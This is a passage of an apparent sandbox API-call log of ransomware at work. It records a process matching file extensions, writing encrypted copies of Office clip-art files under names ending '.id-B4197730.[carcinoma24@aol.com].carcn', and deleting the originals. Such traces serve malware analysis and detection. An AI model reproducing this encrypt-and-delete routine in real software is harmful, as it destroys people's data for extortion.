lstrlenW (lpString=".xls") returned 4 [0268.784] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.784] lstrlenW (lpString=".xlsx") returned 5 [0268.784] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.784] lstrlenW (lpString=".ppt") returned 4 [0268.784] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0268.784] lstrlenW (lpString=".zip") returned 4 [0268.784] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.784] lstrlenW (lpString=".rar") returned 4 [0268.784] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.784] lstrlenW (lpString=".bz2") returned 4 [0268.784] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.785] lstrlenW (lpString=".7z") returned 3 [0268.785] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0268.785] lstrlenW (lpString=".dbf") returned 4 [0268.785] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0268.785] lstrlenW (lpString=".1cd") returned 4 [0268.785] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0268.785] lstrlenW (lpString=".jpg") returned 4 [0268.785] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0268.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0268.785] lstrlenW (lpString=".doc") returned 4 [0268.785] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.785] lstrlenW (lpString=".docx") returned 5 [0268.785] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.785] lstrlenW (lpString=".pdf") returned 4 [0268.785] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.785] lstrlenW (lpString=".xls") returned 4 [0268.785] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.785] lstrlenW (lpString=".xlsx") returned 5 [0268.785] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.785] lstrlenW (lpString=".ppt") returned 4 [0268.785] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0268.785] lstrlenW (lpString=".zip") returned 4 [0268.785] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.785] lstrlenW (lpString=".rar") returned 4 [0268.785] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.786] lstrlenW (lpString=".bz2") returned 4 [0268.786] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.786] lstrlenW (lpString=".7z") returned 3 [0268.786] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0268.786] lstrlenW (lpString=".dbf") returned 4 [0268.786] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0268.786] lstrlenW (lpString=".1cd") returned 4 [0268.786] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0268.786] lstrlenW (lpString=".jpg") returned 4 [0268.786] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.786] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0268.786] lstrlenW (lpString="BS00184_.WMF") returned 12 [0268.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0268.788] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=4976) returned 1 [0268.788] CloseHandle (hObject=0x554) returned 1 [0268.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf")) returned 0x220 [0268.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0268.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0268.788] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.788] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0268.789] GetLastError () returned 0x0 [0268.789] ReadFile (in: hFile=0x554, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x1370, lpOverlapped=0x0) returned 1 [0269.125] WriteFile (in: hFile=0x548, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x1380, lpOverlapped=0x0) returned 1 [0269.126] ReadFile (in: hFile=0x554, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0269.126] WriteFile (in: hFile=0x548, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0269.126] SetEndOfFile (hFile=0x548) returned 1 [0269.154] CloseHandle (hObject=0x548) returned 1 [0269.157] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.157] SetEndOfFile (hFile=0x554) returned 1 [0269.161] CloseHandle (hObject=0x554) returned 1 [0269.164] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0269.165] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf")) returned 1 [0269.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0269.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0269.166] lstrlenW (lpString=".doc") returned 4 [0269.166] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.166] lstrlenW (lpString=".docx") returned 5 [0269.166] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.166] lstrlenW (lpString=".pdf") returned 4 [0269.166] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.166] lstrlenW (lpString=".xls") returned 4 [0269.166] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.166] lstrlenW (lpString=".xlsx") returned 5 [0269.166] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.166] lstrlenW (lpString=".ppt") returned 4 [0269.166] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0269.166] lstrlenW (lpString=".zip") returned 4 [0269.166] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.166] lstrlenW (lpString=".rar") returned 4 [0269.166] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.166] lstrlenW (lpString=".bz2") returned 4 [0269.167] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.167] lstrlenW (lpString=".7z") returned 3 [0269.167] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0269.167] lstrlenW (lpString=".dbf") returned 4 [0269.167] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0269.167] lstrlenW (lpString=".1cd") returned 4 [0269.167] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0269.167] lstrlenW (lpString=".jpg") returned 4 [0269.167] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0269.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0269.167] lstrlenW (lpString=".doc") returned 4 [0269.167] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.167] lstrlenW (lpString=".docx") returned 5 [0269.167] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.167] lstrlenW (lpString=".pdf") returned 4 [0269.167] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.167] lstrlenW (lpString=".xls") returned 4 [0269.167] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.167] lstrlenW (lpString=".xlsx") returned 5 [0269.167] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.167] lstrlenW (lpString=".ppt") returned 4 [0269.168] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0269.168] lstrlenW (lpString=".zip") returned 4 [0269.168] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.168] lstrlenW (lpString=".rar") returned 4 [0269.168] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.168] lstrlenW (lpString=".bz2") returned 4 [0269.168] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.168] lstrlenW (lpString=".7z") returned 3 [0269.168] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0269.168] lstrlenW (lpString=".dbf") returned 4 [0269.168] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0269.168] lstrlenW (lpString=".1cd") returned 4 [0269.168] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0269.168] lstrlenW (lpString=".jpg") returned 4 [0269.168] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.168] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0269.168] lstrlenW (lpString="BS00200_.WMF") returned 12 [0269.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0269.170] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=3104) returned 1 [0269.170] CloseHandle (hObject=0x554) returned 1 [0269.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf")) returned 0x220 [0269.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0269.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0269.171] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.171] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0269.171] GetLastError () returned 0x0 [0269.171] ReadFile (in: hFile=0x554, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0xc20, lpOverlapped=0x0) returned 1 [0269.247] WriteFile (in: hFile=0x370, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xc30, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xc30, lpOverlapped=0x0) returned 1 [0269.248] ReadFile (in: hFile=0x554, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0269.248] WriteFile (in: hFile=0x370, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0269.248] SetEndOfFile (hFile=0x370) returned 1 [0269.248] CloseHandle (hObject=0x370) returned 1 [0269.248] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.248] SetEndOfFile (hFile=0x554) returned 1 [0269.250] CloseHandle (hObject=0x554) returned 1 [0269.251] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0269.251] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf")) returned 1 [0269.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0269.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0269.252] lstrlenW (lpString=".doc") returned 4 [0269.252] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.252] lstrlenW (lpString=".docx") returned 5 [0269.252] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.252] lstrlenW (lpString=".pdf") returned 4 [0269.252] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.252] lstrlenW (lpString=".xls") returned 4 [0269.252] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.252] lstrlenW (lpString=".xlsx") returned 5 [0269.252] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.252] lstrlenW (lpString=".ppt") returned 4 [0269.252] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0269.252] lstrlenW (lpString=".zip") returned 4 [0269.252] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.252] lstrlenW (lpString=".rar") returned 4 [0269.252] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.252] lstrlenW (lpString=".bz2") returned 4 [0269.252] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.252] lstrlenW (lpString=".7z") returned 3 [0269.252] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0269.252] lstrlenW (lpString=".dbf") returned 4 [0269.252] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0269.252] lstrlenW (lpString=".1cd") returned 4 [0269.252] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0269.252] lstrlenW (lpString=".jpg") returned 4 [0269.252] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0269.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0269.253] lstrlenW (lpString=".doc") returned 4 [0269.253] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.253] lstrlenW (lpString=".docx") returned 5 [0269.253] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.253] lstrlenW (lpString=".pdf") returned 4 [0269.253] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.253] lstrlenW (lpString=".xls") returned 4 [0269.253] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.253] lstrlenW (lpString=".xlsx") returned 5 [0269.253] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.253] lstrlenW (lpString=".ppt") returned 4 [0269.253] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0269.253] lstrlenW (lpString=".zip") returned 4 [0269.253] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.253] lstrlenW (lpString=".rar") returned 4 [0269.253] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.253] lstrlenW (lpString=".bz2") returned 4 [0269.253] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.253] lstrlenW (lpString=".7z") returned 3 [0269.253] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0269.253] lstrlenW (lpString=".dbf") returned 4 [0269.253] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0269.253] lstrlenW (lpString=".1cd") returned 4 [0269.253] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0269.253] lstrlenW (lpString=".jpg") returned 4 [0269.253] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.254] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0269.254] lstrlenW (lpString="BS00438_.WMF") returned 12 [0269.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0269.255] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=1212) returned 1 [0269.255] CloseHandle (hObject=0x554) returned 1 [0269.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf")) returned 0x220 [0269.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0269.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0269.255] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.255] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0269.256] GetLastError () returned 0x0 [0269.256] ReadFile (in: hFile=0x554, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x4bc, lpOverlapped=0x0) returned 1 [0269.781] WriteFile (in: hFile=0x370, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x4c0, lpOverlapped=0x0) returned 1 [0269.793] ReadFile (in: hFile=0x554, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0269.793] WriteFile (in: hFile=0x370, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0269.793] SetEndOfFile (hFile=0x370) returned 1 [0269.802] CloseHandle (hObject=0x370) returned 1 [0269.804] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.804] SetEndOfFile (hFile=0x554) returned 1 [0269.812] CloseHandle (hObject=0x554) returned 1 [0269.812] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0269.817] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf")) returned 1 [0270.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0270.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0270.049] lstrlenW (lpString=".doc") returned 4 [0270.049] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.049] lstrlenW (lpString=".docx") returned 5 [0270.049] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.049] lstrlenW (lpString=".pdf") returned 4 [0270.049] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.049] lstrlenW (lpString=".xls") returned 4 [0270.049] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.049] lstrlenW (lpString=".xlsx") returned 5 [0270.049] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.049] lstrlenW (lpString=".ppt") returned 4 [0270.049] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.049] lstrlenW (lpString="C:\\Program Files\\Microsoft 